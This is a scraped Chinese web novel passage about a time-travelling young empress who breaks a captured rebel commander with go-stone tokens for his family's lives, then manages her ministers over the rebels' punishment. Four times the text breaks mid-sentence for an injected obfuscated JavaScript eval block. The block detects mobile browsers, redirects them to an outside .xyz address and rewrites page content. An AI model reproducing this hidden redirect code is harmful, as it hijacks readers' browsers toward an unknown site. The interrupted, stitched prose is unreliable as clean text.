温晏然语气格外温和:“兄长何出此言?若非有兄长关怀朕的安危,今日被缚于阶下之人,也未必是那位季统领。” 温惊梅本来打算告退,却被天子出声喊住。 “朕记得,兄长书房内有两盒琉璃棋子。” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880618|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊梅闻声知意,立刻道:“微臣这便将棋子给陛下送来。” 温晏然:“一只空棋盒,另一只盒子里放……”顿了下,问,“季氏满门有多少人口?” 温惊梅听见天子的问话,心中的凛然之意愈发明晰起来,回禀:“共有……七十三口人。” 温晏然漫不经心地点了点头:“那另一只盒子里,就放七十三颗棋子进去。” 天桴宫被温惊梅经营多年,内里人员虽然不少,行动安排间却条理分明,丝毫不显杂乱,哪怕遇见了季跃叛逆,天子亲自过来镇压这等大事,也不显得惊慌,立刻腾出一间空殿,让皇帝与叛将私聊。 随着钟知微过来的禁军在将季跃捆好并带进殿内后就退下了,钟知微却留在了温晏然身边,同样留下的还有池仪跟张络两人。 张络生得外貌寻常,不引人注意,在温晏然拟定计划后,这几日就由他负责与各方串联,这人也不愧是未来的权臣,居然将事情办得十分妥当,另一位未来的内相池仪因为性格谨慎,温晏然便将许多细务交由她办理,今日栖雁宫与西雍宫里的人之所以能撤退得干干净净却不惊动旁人,就是池仪的手笔,她分开嘱咐那些宫人该在哪一时刻往何处走动,顺利地将所有人渐次移出,大部分人甚至直到被转移之后,都没意识到此前的安排到底有什么目的。 温晏然之所以不断给池仪跟张络布置新的任务,一方面是缺乏可靠的人手,一方面是为了考校这两人的能为,观察池张两位是否已经具备权臣的基本素养,另一方面也是趁此机会让他们立下一定的功劳,以便名正言顺地将权柄下放。 在确定这两人都能将事务处置妥当后,温晏然才不断派太医去季跃那边打草惊蛇,持续暗示对方自己已经心生疑虑,以此刺激一下这名中卫统领本就脆弱不堪的神经, 季跃身上的铠甲跟武器都被除去,像一条死狗一样被钟知微的手下一路拖到了殿内。 他不用抬头,就知道新帝正在看着自己。 温晏然确实是在看着对方,她拥裘而坐,单手支颐,面上的案台上放着两个装棋子的木盒,此刻正专注地看着地上的俘虏。 这座殿内烛火明明,她的目光中也像是有两点烛光在跳动。 温晏然扫了张络一眼,这个小内侍立刻提高声音,喝令道:“季统领,你如今已然兵败被俘,还不快将所有事情老实交待清楚!” 地上的季跃半闭着眼睛,对张络的呵斥声恍若未闻。 张络闭上了嘴,他知道宫里有专门关押罪人的地方斜狱,里面的狱吏都擅长拷打犯人,不管温晏然想知道什么,只要把季跃送进去,多半能得到答案,却不敢主动开口给皇帝建议。 他与这位小天子相处的时间虽然不长,但已经逐渐感受到温晏然是个极有主意的人,虽然对方言语向来和气,也丝毫不敢让温晏然产生自己在冒犯皇权的意图,张络偷偷看了一眼垂首不语的池仪,当下同样沉默不言。 ——斜狱本是太启宫内一处因为最初因衡量时产生误差,所以位置不正的宫苑,因为地理方面的缺陷被贵人嫌弃,最后就充当了审讯地位底下的宫人內监的场地。 坐在上首的温晏然俯视着自己的阶下之囚,缓缓道:“季统领不肯说倒也无妨,朕可以替你说。” 8. 第八章 温晏然笑了一下,伸手从棋盒中拈起一枚棋子,“当”的一声丢到另一只空盒子里,向着阶下之人轻轻颔首:“朕那位七哥虽然不成器,但最后也还是尽其所能,给朕找了一点麻烦。” 温见恭死前喊了一嗓子,指责温晏然为了争位而杀兄,当时殿中那么多人都听得清清楚楚,就算理智知道并非如此,也难保不会心生疑虑,再加上她把宗室子女都扣在宫内,更是隐隐让人觉得她是担心旁人动摇自己的皇权,才非要将所有潜在的竞争者都扣在手中为质。 季跃趁着温晏然信誉动摇的关口,打算借着夜色的掩饰潜入皇城,斩杀新帝与栖雁宫内的宗室子女们,并将这个罪名推到温晏然本人身上。 大殿前方,拥裘而坐的温晏然看着季跃,唇角微翘,慢条斯理道:“……等到天亮以后,旁人得到的消息就会是朕忽然间心智失常,决意将所有宗室子女害死,幸好十一妹跟十三弟他们在宫内多少有些势力,拼斗之下,自然是两败俱伤,纵然近支的宗室子女们近乎伤亡殆尽,不过朕这位暴君也在混乱中身死,也不算没有好处,当时皇城中混乱一片,身为禁军中卫统领的季统领虽然尚未痊愈,也不得不强撑病体,过来主持大局。幸好季统领世代在禁军中为官,自有威望,振臂一呼,旋即成功控制住了宫中局势,实在是可喜可贺。” 她一面讲述,一面又抓了一把棋子,一颗颗丢到边上的盒子中,“当当”的声响就像一根根铜锤,不断敲击在季跃的心上,他的身体因此变得愈发僵硬起来,最后豁然抬起头,向着上首的少年天子厉声道:“非我叛逆,而是温氏负我!今日若非棋差一着,就该让温氏以血还血!” 他声色俱厉,沙哑的嗓音中像是藏着尖刀,池仪与张络都是胆大之人,猛然间听见,就像耳边凭空响起了一个霹雳一样,忍不住感到一丝惊眩,但温晏然依旧神色从容,她凝视着地上的叛将,片刻后竟然大笑起来:“殿中并无外人在,朕诚心相待季统领,可季统领却为何迟迟不肯明言?” 听见这番对话的三人里头,钟知微茫然得就像一个游历于□□势之外的闲散武将,至于池仪跟张络虽是新帝身边近侍,奈何就业时间太短,也没能把控到温晏然的心思变化,只注意到那位满面愤怒之色的季统领忽然变得有些僵硬起来,虽然双眼依旧死死盯着天子,但却不再说话。 温晏然下面的话为三人解开了疑惑:“季统领说是想让温氏以血还血,但以血还血之后呢?”微微摇了摇头,“温氏近支又不止建平中有,若是都城中有资格继位之人全数身亡,那朕那位好四姐就能从容进京了——难道季统领忙了一场,只是为了让四姐登鼎大位?还是季统领早就为温谨明的王气折服,自甘为其马前卒?” 季跃面上出现一丝愤然之色,当即否认:“我怎会愿意受温四的驱使!” 温晏然点了点头,笑道:“朕也这么想,季统领与其投靠四姐,还不如投靠朕呢,毕竟朕刚刚登基,手边可用之人实在算不上多啊。” 话音方落,一整晚都成功保持住稳定心态的钟知微,池仪以及张络三人,脸色都禁不住有些发白。 温氏享国多年,对于大周的许多人而言,天子至高无上的观念已然深入人心,哪怕三人刚刚经历了一场叛乱,也不愿细想“可用之人实在算不上多”的含义,但他们都有着基本的政治素养,就算不去深思,也从中体会到了一丝朝局平静表象下的波诡云谲。 温晏然看着季跃,缓缓道:“就算没有四姐,也有别的王侯,除非你有把握同时除掉所有的宗室近支,否则以血还血的最后,不过是为他人做嫁衣。” 她唇边依旧带着笑,但季跃却从天子面上的笑容里体会到了犹如刀锋般的凛冽之意,面色变幻再三,终究长叹一声:“陛下……圣明。” 温晏然靠着椅子上的软垫,先数了五枚棋子,依次扔到另一只盒子里,才悠然道:“季统领耐心还是不够,但这样好的机会摆在面前,也难怪你按耐不住,毕竟倘若不趁朕根基未稳时行废立之举,等朕羽翼渐丰后,禁军的中卫统领就很难有造反的机会了。” 作为与温晏然距离最近的宫人,池仪此刻已然完全理解了天子话中的意思——季跃不是要把温氏近支全数杀死,而是杀死大部分,同时将罪名推给有前科的温晏然,然后扶持幸存者登基。 死人是没有价值,一个刚刚登基的死皇帝的价值也说不上多高,那些拥护皇权的忠臣在发现温晏然驾崩后,为了稳定局势,说不定就得对掌控住宫禁的季跃做出一定妥协。 如此一来,在展现于外的故事中,季跃并非叛逆,而是平息了宫中纷争,拥有救驾与拥立两重功劳的大功臣,之后最差也能跟袁太傅一样,做一个辅政大臣。 虽然事情已经算是尘埃落定,回想这几日的情景,池仪还是感觉出一丝惊意——其实陛下手上的兵将并不多,要是跟季跃正面交战的话,胜算并不大,毕竟这名中卫统领护卫皇朝多年,根基深厚,也熟悉道路,若是在将栖雁宫跟西雍宫的人手调离时风声泄露于外,季跃也不会顺着那条宫巷急急过来,被堵个正着。 至于陛下为什么不提前将季跃打算谋反的意图说出来,与其他大臣们商议对策,恐怕是缺乏证据,才想要以身做饵,诱敌出洞。 如此看来,新帝年纪虽小,但行险如此,竟是个满身锋锐之气的天子。 其实池仪对温晏然的揣测并不完全正确。 温晏然想,整个朝廷内,未必没人发现季跃的打算,但却没一个人过来提醒自己,这些人未必盼着她死于季跃手中,或许是想趁季跃动手时过来救驾,施恩于天子,顺便展现下实力,好让小皇帝知道,想要安安稳稳地待在皇朝中,就离不开他们的保护。 若是温晏然提前揭破季跃的谋算,让人把这位素无恶迹的中卫统领捉拿过来,一定会遭到来自朝臣的劝谏,一面会打草惊蛇,让季跃等人蛰伏下来,伺机再动,一面也会进一步动摇自己本就不算深厚的威信。 ——即使是昏君,也得有着基本的朝堂控制力,否则就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880619|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算昏君,而是纯粹的傀儡。 温晏然凝视着地上的季跃,她眉峰如刀,双目则犹如深潭,不笑时便有一种凛厉之气,此刻捏着棋子的手指无意间紧了一瞬,随即放缓力道,将棋子掷入另一只棋盒当中。 在被俘之后,季跃被权势冲昏的头脑逐渐清明过来,也隐约猜到自己只是新帝与朝臣角力当中,被用来杀鸡儆猴的那只鸡,面上忍不住泛起一丝自嘲的冷笑,他往上方看去,忽然说了一句与现下形势全然无关的话:“陛下从刚才开始,手中就一直拿着棋子。” 温晏然唇角微翘:“不是棋子,是筹码,棋盒中统共七十三枚,代表季家的人头数,左边盒子里的筹码归朕,右边盒子里的归你——你交待得越多,能留下的人头就越多。”扫一眼盒子里的棋子数,“既然朕替你交代了叛乱的经过,那有四十一枚棋子,便从你的筹码,变作了朕的筹码。” “……!” 季跃愣愣地看着高台上的皇帝,忽然双目圆睁,大吼一声,向前猛地扑去,钟知微一直留神,当下及时出手,手中刀身连鞘砍在季跃腰侧,将这位禁军统领打得委顿当场,口鼻见血。 钟知微还不放心,膝盖抵在季跃背上,将人下死力按在原地。 在季跃意图反扑到被重新控制住的整个过程中,温晏然一直安然坐于原位,似乎料定了对方决计无法成功。 池仪与张络侍立在皇帝两侧,他们在理解了温晏然言下之意时,感到背脊上生出了一层冷汗——事到如今,两人总算明白,温晏然虽然没让审讯之人拷问季跃,却在不断用言语给对方施加压力。 对季跃而言,这近乎于诛心之论! 在大周,叛乱乃是不赦之罪,而且必定株连亲族,季跃早知季氏族人不可能被全部赦免,但温晏然的行为,却让季跃清晰地体会到,是自己亲手拿起了铡刀,一个个砍下了亲人的头颅。 季跃再看着温晏然手边的棋盒时,目中已泛起血色。 温晏然笑:“犯上作乱在哪朝哪代都是株连全族的不赦之罪,朕今日有意从轻发落季氏,留存一点血脉下来,季统领不谢朕,倒还怪朕。”抓了数枚棋子,向着地上的人道,“既然如此,这一回朕先不开口,让季统领先说。” 叛乱经过已经被温晏然看得极明白,光就眼下的事,季跃其实没什么可交代的地方…… 季跃抬首,目光与温晏然视线相触,旋即像是被烫着了一样飞快垂下头颅。 九皇女不受先帝重视,常年居于太启宫内,无师无友,就算天资聪颖,遇事又怎会像如今这般洞若观火? 这世上难道真有生而知之者吗? 季跃并不怀疑是袁言时或者温惊梅给皇帝支的招,毕竟若是此二人主导局势的话,无论如何也不会将皇帝置于险境当中。 一滴滴汗水从季跃额头滴落到地面,在心灵身躯皆受重创的情况下,季跃心中愤怒之情逐渐消退,替代出现的,是一种并非源于温晏然身份,而是源于温晏然本人的强烈畏惧感。 9. 第九章 温晏然把季跃拎过来亲自询问,自然有自己的原因。 按照她了解的剧透内容,这人一直活到了游戏中期,温晏然想,虽然不同支线开局的皇帝有所区别,但相比起来,她肯定不是脾气最差的那个,要是季跃在各个支线的开头中都保持了对旷工的坚持,温晏然不觉得对方能在各个暴君的手下苟那么久。 对方都明着表达不满,而且职位还那么关键,各个暴君不找机会将对方直接发落了,还留着增加大周朝臣的多样性吗? 温晏然不是生而知之者,而是个穿而剧透者,奈何穿越之后,她没法跨世界翻看评论区,只好借当事人叛乱的机会,仔细问问季跃究竟有何依仗。 真蒙对了自然是意外之喜,蒙错了……反正周围也没有外人在。 “陛下果然是天命所眷之人……” 被钟知微按住的季跃终于开口,他的语音嘶哑迟缓,虽然早已被擒住,却仿佛直到此刻才彻底选择了认输。 温晏然单手支颐,听着季跃交代自己掌握的秘密,此刻同在殿内的池仪等人,则低眉垂首,静若石雕,恨不得爹妈当初少给自己生上一对耳朵,免得听到什么不该听的秘辛。 池仪跟张络心中清楚,在这深宫里头,知道的越多,就会越危险,万一皇帝担心他们泄露秘密,想要杀人灭口,两人决计没有任何反抗的余地。 不过他们在心惊之余,也感到了一丝蠢蠢欲动——再秘密的事情总得有人去跑腿,倘若自己能借此机会,被皇帝引为心腹,岂不就能平步青云! 温晏然不晓得身侧之人此刻百转千回的念头,她正在思考季跃口中的话。 这位禁军统领被吓破了胆子后,总算吐露了一些温晏然想知道的内情——季氏的根基都在建州,代代为皇帝服务,先帝也颇信重他,曾让他去外面收拢一笔数额极大的钱财与粮草。 大周有类似银票的东西,不过不多,那笔巨额财富以实物为主,需要派遣好手去妥善押运,季跃忙忙碌碌了一年多,还未将财货交割干净,先帝便已病重,对朝堂的掌控能力也大为下降。 也就是说,季跃手中还掌握着相当于大周三年税收的财宝,若非如此,他也难以像现在这样收买人心,甚至鼓动禁军士兵冲入皇朝,捉拿温晏然。 季跃连连叩首:“微臣的罪过自然百死莫赎,还望陛下看在季氏先人曾有功于朝廷的份上,留季氏一丝血脉。” 温晏然本来正攥着一把棋子出神,听到季跃的话,向地上的人笑了笑,然后毫无征兆地松开手,任凭那些棋子一个接一个掉入左边的盒子内,看得季跃肝胆俱裂。 他不明白,在自己拒不合作的时候,对方确实有道理扣下季氏的人头,但如今自己已经开始交待财宝的下落,小皇帝为什么还不肯稍作宽宥? 季跃额上的汗水混着血水一道滴落:“除此之外,臣府邸中还存有一些诸侯王的信件……” 在季跃诉说时,温晏然一直恍若未闻,唯有手中的棋子还在不断下落。 琉璃棋子掉进棋盒内,咚咚有声。 季跃双目发红,他被钟知微死死控制住,无法挣扎,当下只能以头抢地,两三下后额头上便已见血:“罪臣确实再无隐瞒之事,还请陛下明鉴!” 温晏然盯了他片刻,忽然站起身:“既然如此,朕也不为难季统领了。” 她从座位上缓缓步下,袍袖拂过地面的砖花,等走到季跃身边时,五根修长的手指慢慢松开,一颗颗棋子从指缝中掉落了下来。 那些棋子是红色的琉璃所制,望之宛如一团凝固了的血水,跌落地面时发出的每一声响,都令池仪等人心中的寒意更深一层。 温晏然将手中最后七颗棋子掷在对方面前,笑:“东阳侯配享太庙,曾有功于社稷,既然如此,就留季氏一点血脉。” ——东阳伯就是季氏的先祖。 季跃闻言,轻松之下又有些失神,他看着前方的地板跟皇帝衣裳的下摆,心中浮现出一种难以言喻的悲凉。 “……陛下金口玉言,罪臣,谢陛下开恩。” 温晏然微笑:“自然一言九鼎。”她的语气颇为温柔,“令姑据说是被內监带人勒杀,然先帝驾崩后,并无殉葬旨意,宫内亦是妃嫔皆存,为何独独苛待于季氏,其中缘由,季统领要不要为朕解惑啊?” 季跃闻言,身躯微微晃动,面上一片衰败之色。 他家族世代在建平为官,统领禁军,受温氏恩德太深,要没有足够的理由,就算发起叛逆,也很难得人心。 季跃闭了闭眼,低声:“当日陛下要罪臣的姑母入宫,本是打算以其为质,后来两相妥协之下,将姑母暂且安置在了道观内。” 当皇帝的难免疑心重,先帝虽然对季跃委以重任,但也不会不加以掣肘。 温晏然扫了季跃一眼,心中有数:“请钟校尉把季统领带下去罢。” 其实季氏的谎话存在很明显的破绽,可信度本来不高,但说是先帝做的,顿时就可信起来。 ——先帝昔年刚登基时还一副想要励精图治的模样,等坐稳皇位后,就日渐昏聩起来,朝中目前正在商议对方的谥号,没一个寓意美好的,据温晏然所知,最后多半会定为“厉”字。 * 先帝驾崩之后,有资格在乾元殿内哭灵的大臣们每天都得入朝,除了抒发对先帝离世的悲痛之情之外,也顺带着跟同僚们进行点信息交流。 韩拾荆刚进宫时就觉得气氛有些不对,等从相熟的同僚那边了解到昨天夜里究竟发生了什么之后,更是面如土色,膝盖发软,情不自禁向着灵柩的方向给先帝行了一个扎扎实实的大礼。 众人你望望我,我望望你,一时间居然不知该从何议论起——禁军中卫统领季跃夜间带人闯宫,想要犯上作乱,却反而被新帝尽数拿下,此事纵然有国师作证,大臣们也依旧有种如在梦中的不真实感。 倘若韩拾荆等小官还只是因为事件本身而感到心绪动荡,出身世家的郑引川等人的想法就要更深一层。 七皇子已死,郑氏想要提升自己在皇帝面前的分量,就得找机会立下足够大的功劳,昨天的事情本是一个契机,却被新帝自行解决,一时间有些焦躁起来。 ——皇帝需要大臣,大臣也需要皇帝,两边原本都在观察评估对方,但如今温晏然一派游刃有余的样子,倒惹得不少朝臣心意慌乱起来。 有心做忠臣的觉得小皇帝气魄非凡,值得辅佐,而想要待价而沽的也决定慢慢放下身段,为皇帝所驱使。 温晏然知道昨夜的事情必然会惹得朝臣非议,率众哭完灵后,刚刚返回西雍宫,外面就传来通报,说是太傅袁言时求见。 对方是先帝钦点的辅政大臣,有不少门生故旧,在士林中风评极佳,温晏然穿越至今,也从未为难过这位老人家,当下让池仪过去把人带进来。 袁太傅匆匆入内,刚行完礼就直接询问:“陛下为何如此冒险,若是事有万一,又置社稷于何地?” 他看着殿内似乎与之前没什么不同的小皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880620|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有种微妙的失控感。 ——作为辅政大臣,袁言时本人的权力与皇权向来牢牢绑定在一起,他想要保证自己的地位,必须维持自身对新帝的影响力。 温晏然被评论区剧透过袁太傅是“大周忠臣”,加上对方年纪大,格外客气,笑道:“太傅先坐,就算有话教导朕,也先喝点茶水润一润喉。” 袁太傅无奈:“陛下!” 温晏然干脆从座位上下来,亲自替袁太傅端了杯茶,无论对方心中有什么想法,既然明面上保持着忠臣的姿态,也只能连道“惶恐”,然后双手接过茶盏。 受到君臣名分的束缚,袁太傅本就不能对新帝过于疾言厉色,一口茶下去,失了刚进门时的气势,也不便再度出言质询。 温晏然笑吟吟道:“叫太傅替朕操心了,昨日事出突然,的确有些惊险,幸好结果还算差强人意。” 她简单提了下昨天的经过,袁太傅默然良久,叹息:“季跃是先帝留下的臣子,居然会如此糊涂!” 温晏然注视着对方,唇角微翘:“大周那么多朝臣,难免良莠不齐,太傅实在不必过于烦恼。” 袁太傅面上浮现出一抹苦笑:“情急失态,倒让陛下来安慰老臣,实在惭愧。” 温晏然微微一笑,回到座位上,换了话题:“不知太傅今天打算教朕些什么?” 袁太傅闻言,面上不显,心中愈发惊讶。 昨天刚刚发成了一场宫变,新帝第二天居然还记得上课,再考虑到对方如今的年纪,由小见大,对方确实是颇有当皇帝的素养。 袁太傅并不知道,面前小皇帝具备着一颗被突发加班锻炼到稳若泰山的强大心脏,而且对温晏然而言,她实在需要尽快完成自身的知识填充,以便早日对朝堂形成有效掌握。 而且袁太傅不愧是连先帝也极为信重的臣子,换做温晏然原来的世界,对方的讲课水平怎么也能混得上一个高级私教,除了朝廷结构外,也兼讲经史子集,因为正值国丧期间,袁太傅目前教授的内容就多与孝与礼有关。 ——认真学习的温晏然偶尔也会想,如果是换做pc端的话,上述费心费力的读书剧情,显然只需要消耗她一个回车键的体力…… 袁言时讲解“三年无改于父之道,可谓孝矣”,他不止是向皇帝灌输知识,也在体察皇帝的态度。 温晏然微微颔首,看起来十分赞同袁言时的说法。 在她看来,袁言时此人是希望将自己培养成一个端方持重的皇帝,行事循礼的皇帝,虽然两方的目标存在难以弥合的差距,但短时间内却有着彼此合作的可能性,温晏然听对方的言下之意,显然是希望自己短时间内别再有什么大动作。 都说一个人的位置决定了看问题的角度,温晏然深刻地体会到了这句话的意思,在她看来,这些经史子集中推崇的道德观念,本身也包含着一套行之有效的管理方案,就像袁言时现在说的那个“三年无改于父之道”,作为刚刚接任皇位的年轻人,她缺乏威信与根基,让各个机构沿用之前的办公方式,有助于朝廷平稳度过新旧交替的动荡阶段,也便于自己快速上手,等建立了一定的威信,并收拢了足够多的可用人手后,才慢慢施展计划也不迟。 换而言之,就是对于自己暂且把握不住的事情,温晏然才会循旧,但她却绝不打算让旧人旧事绊住自己的手脚。 袁言时看皇帝态度谦和,面上也出现了一些笑意,等讲完今天的内容,又问:“不知陛下打算如何处置那些叛逆的禁军?” 10. 第十章 在将季跃等人拿下后,温晏然就知道事后一定会有人来询问自己处置方案,她才刚刚登基,一举一动都会影响自己在朝臣心中的评价——温晏然日常会见大臣时,能感到那种隐约的被估量感,内心不自禁的浮现出些许跃跃欲试之意。 ——充满挑战的环境,难免激发出人类的战意。 季跃等人犯上作乱,被拿下时正处于谋反进行时,这历朝历代都属于不赦之罪,不但首恶要遭殃,而且一定会殃及家族,基本已经没有从严的余地,温晏然想,袁言时此问,答案只有两个,要么按律处置,要么从宽发落,其中前者属于正常流程,后者才有讨论的空间。 温晏然目光微动,旋即笑道:“那不知太傅以为该当如何?” 袁太傅不易察觉地皱了下眉,他之所以开口询问,是想揣测小皇帝的想法,却不料小皇帝直接把问题抛了回来。 虽然原先的意图没能实现,但袁言时觉得,温晏然在做决定之前,选择先问问自己的意思,显然大有倚重之意,内心感到一丝快慰,当下答道:“虽然季跃等人犯上作乱一事证据确凿,也该先审问清楚,再按律处置。” 袁言时一面回答,一面打量皇帝的神情——温晏然微微颔首,似乎对袁太傅的话并无异议。 刚刚接触朝政的温晏然能注意到的事情,身为辅政大臣的袁言时自然也能注意到,此案事实清楚,季跃本人在遭遇了温晏然的打击后,更是放弃了挣扎,有问必答地把所有事情给交待清楚,大理寺那边能以最快速度结束审判,进入最终判决阶段。 在袁言时状似无意地打量温晏然时,温晏然正光明正大地打量着面前的辅政大臣。 除了评论区的剧透外,温晏然也从其他人那里了解过有关袁太傅的讯息,知道对方名声不错——先帝生前性情残暴,晚年更是擅杀了不少大臣,袁太傅因为受先帝信重,能劝诫的都会劝诫一二,也颇受朝臣拥护,若不是先帝末年时突然爆发了一波,前朝后宫都遭到大肆清洗,上千人头齐齐落地,袁太傅的威望还会更重。 袁太傅忖度,温晏然年纪不大,而年轻人往往性格冲动,会将喜恶明显地表现出来,他之前还以为九皇女被关得太久,有些懦弱,但从对方数日前灵前杀兄之事就能看出来,此人也是个锋芒毕露的性子,既然如此,多半是想从严处置叛军,以此威慑朝臣。 袁言时想及此处,心头微动,打算借季跃的事情,试探一下自己对新帝的影响力,开口劝道:“明主以仁爱结民心,若是陛下按律处置季跃等人,恐怕会引得民心动荡不安。” 温晏然闻言未置可否,似在思忖,期间食指还无意识地点了两下桌面。 袁太傅见状,继续劝说:“陛下初登大宝,人心思定,既然并无严重后果,何不借此机会,展示陛下的宽仁,只诛季氏等为首者之族?” 温晏然靠在椅背上,半晌后点了点头:“太傅事事为朕考虑得周到,既然如此,就依太傅所言,从宽发落这伙叛逆。” 袁太傅欣慰一笑。 池仪是近身侍奉天子的宫人,不管是审讯季跃期间,还是与袁太傅私谈之时,都一直陪在温晏然身边,她此刻垂首静立,心中忍不住想起另一件事。 倘若从宽发落叛逆算是一份人情的话,温晏然已经把这份人情卖了两回。 她借着这个人情,施恩于季跃,从对方嘴里问出了想要的秘密,又让袁太傅觉得自己是一个宽仁并乐于纳谏的君主。 等说完季跃等人的事情之后,袁太傅便告辞离去,没过多久,外头又传来通报,说是国师求见。 在知道这个消息时,池仪心中第一时间浮现出了一个念头:第三个需要被卖人情的家伙主动上门了…… 温晏然点点头:“请国师去前殿。” ——西雍宫作为皇帝的起居之地,除了寝宫,书房之外,还包括了办公议事场所。 池仪本打算亲自请国师去前殿,却被温晏然止住,她出神片刻,询问左右道:“今日值勤的中书舍人是哪一位?” 池仪立时回禀:“是高疏高舍人。” 温晏然扫一眼左右两人,微微一笑。 作为一个被剧透过后续支线剧情的读者,温晏然目前可以算是整个世界上,对池仪与张络两人了解最深的那一个,他们能成为内相权宦,必定心思缜密,时刻留意朝堂中事,张络不回答,多半不是因为不知道,而是因为觉得不该由自己说。 大周并没有明文规定宦官不得干政,但士大夫集团对于皇帝让宦官担任显要职务的事情,存在着强烈的抵触情绪,甚至皇帝自己也认为,让宦官担任高官要务,不是什么值得夸耀的事情。 既然回答的是池仪,温晏然便嘱咐对方道:“那就宣高舍人她过来。” * 天上飘着小雪。 温惊梅在被內监带到前殿而不是充当书房的侧殿时,心中就有所预感,等看见中书舍人高疏过来后,更是明确了自己的想法。 中书舍人通常负责为帝王草拟诏令,温晏然让高疏候在此处,显然是有明旨要发。 正常来说,新帝颁布的第一道诏书应当是即位的恩赦诏,不过考虑到昨夜的禁军谋反事件属于特殊情况,温晏然这边可能会像之前提拔郑引川等人一样,先拟旨,确定下该如何处置这群人,等登基大典之后,再行宣告天下。 温惊梅知道温晏然曾当着叛军的面说过会从轻发落,但按照惯例,类似的谋反案件,顶多只会饶过从犯,但不会饶恕首恶,而季氏又是官宦世家,在建州的旧亲不少,说不定便会牵连过甚。 昨日之事到底与他相关,温惊梅此时过来,就是想了解一下皇帝的意图。 高疏与温惊梅候在前殿当中,此地虽然不禁大臣交谈,但两人都未曾开口——在季跃的事情传出去后,许多大臣在面对小皇帝时,态度便不由自主地更加恭谨肃穆了起来。 素白的雪色当中,红罗伞显得格外色泽鲜明,温惊梅还未听见内侍通传声便已站起相候,他认得那个打伞的人,是一名叫做张络的小内侍。 温晏然没传步辇,扶着池仪的手踏雪而至,身后跟着八位手持拂尘等物的宫人。 国师温惊梅看见这一幕,脑海中闪过一个模糊的念头——这些天来,天子倒是颇为倚重身边新提拔的池张二人。 大周惯例,除非遇上大朝会或者祭天一类的情况,否则臣子面圣时不必行大礼,温晏然抬手免了温惊梅等人的礼,向着对方笑道:“昨日之事,多赖兄长之力。” 侍立于侧的高疏闻言,眼皮不自觉地跳了一下。 温晏然:“高舍人,替朕拟一道旨。” 她不提旁事,而是直接让高疏写了一道给温惊梅加官增邑的旨意,将人封为上柱国。 在大周,上柱国属于荣誉职位,只有待遇,但没有实际职务。 然而即使如此,温惊梅也不愿领受。 ——上柱国属于武职,皇帝这么做,等于把昨夜平定叛乱功劳中的很大一部分按在了温惊梅的头上,他虽不知天子的真实意图,却总觉得有些不安。 不待国师推辞,温晏然就道:“兄长不问世事,一心想在天桴宫内清修,朕也不好强人所言,但有功不赏,难免令将士寒心,好在上柱国并非实职,不算违背朕当日在天桴宫中所言。” 她的语气虽然温和,但其中的不容置疑之意却也格外明显。 温惊梅默然无言,只得俯身,对天子行礼谢恩。 现下正值国孝期间,而国师又是天下道官之首,衣饰素淡,下拜之时,令人想起一只展开了雪白翅膀的瘦鹤。 温晏然静静注视着与自己出自同族的远方堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880621|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄,倘若将大周比作一艘将要沉没的大船,作为国师的对方,因为其职位的特殊性,基本没有从船上离开的可能。 既然如此,索性便人尽其用。 她被评论区剧透过袁太傅是忠臣,为了充分贯彻自己的穿越目标,迟早得让这位辅政大臣退出朝堂,进入退休状态,但考虑到袁言时门生故旧颇多,又是先帝钦点的辅政大臣,温晏然打算抬举旁人加以制衡。 作为国师的温惊梅就是其中的一个选择。 温晏然微微一笑:“兄长救驾有功,若还有什么想要的,尽管直言。” 温惊梅:“臣并无所求,只想问一下陛下,打算如何处置那些叛逆?” 温晏然立刻开口,显然是早有计划:“季跃意图叛乱,罪大恶极,本人处以极刑,家属连坐。” 温惊梅:“季跃其父出于钱氏,早已亡故,钱氏本是小族,近年来更是人才凋零,其妻则出于杜氏旁支,也去世多年,对于季跃的所作所为,怕是没什么了解。” 大周士族不少,经年累月下来,谱系错综复杂,加上早年曾出过几个行事酷烈的皇帝,动不动株连全族,为了保下一点血脉,世家大族往往会把家里还没起名的小孩子送到姻亲家中,以全其性命。 不过谋反与旁的罪名不同,季氏一族自然在劫难逃,连姻亲也会因此受害。 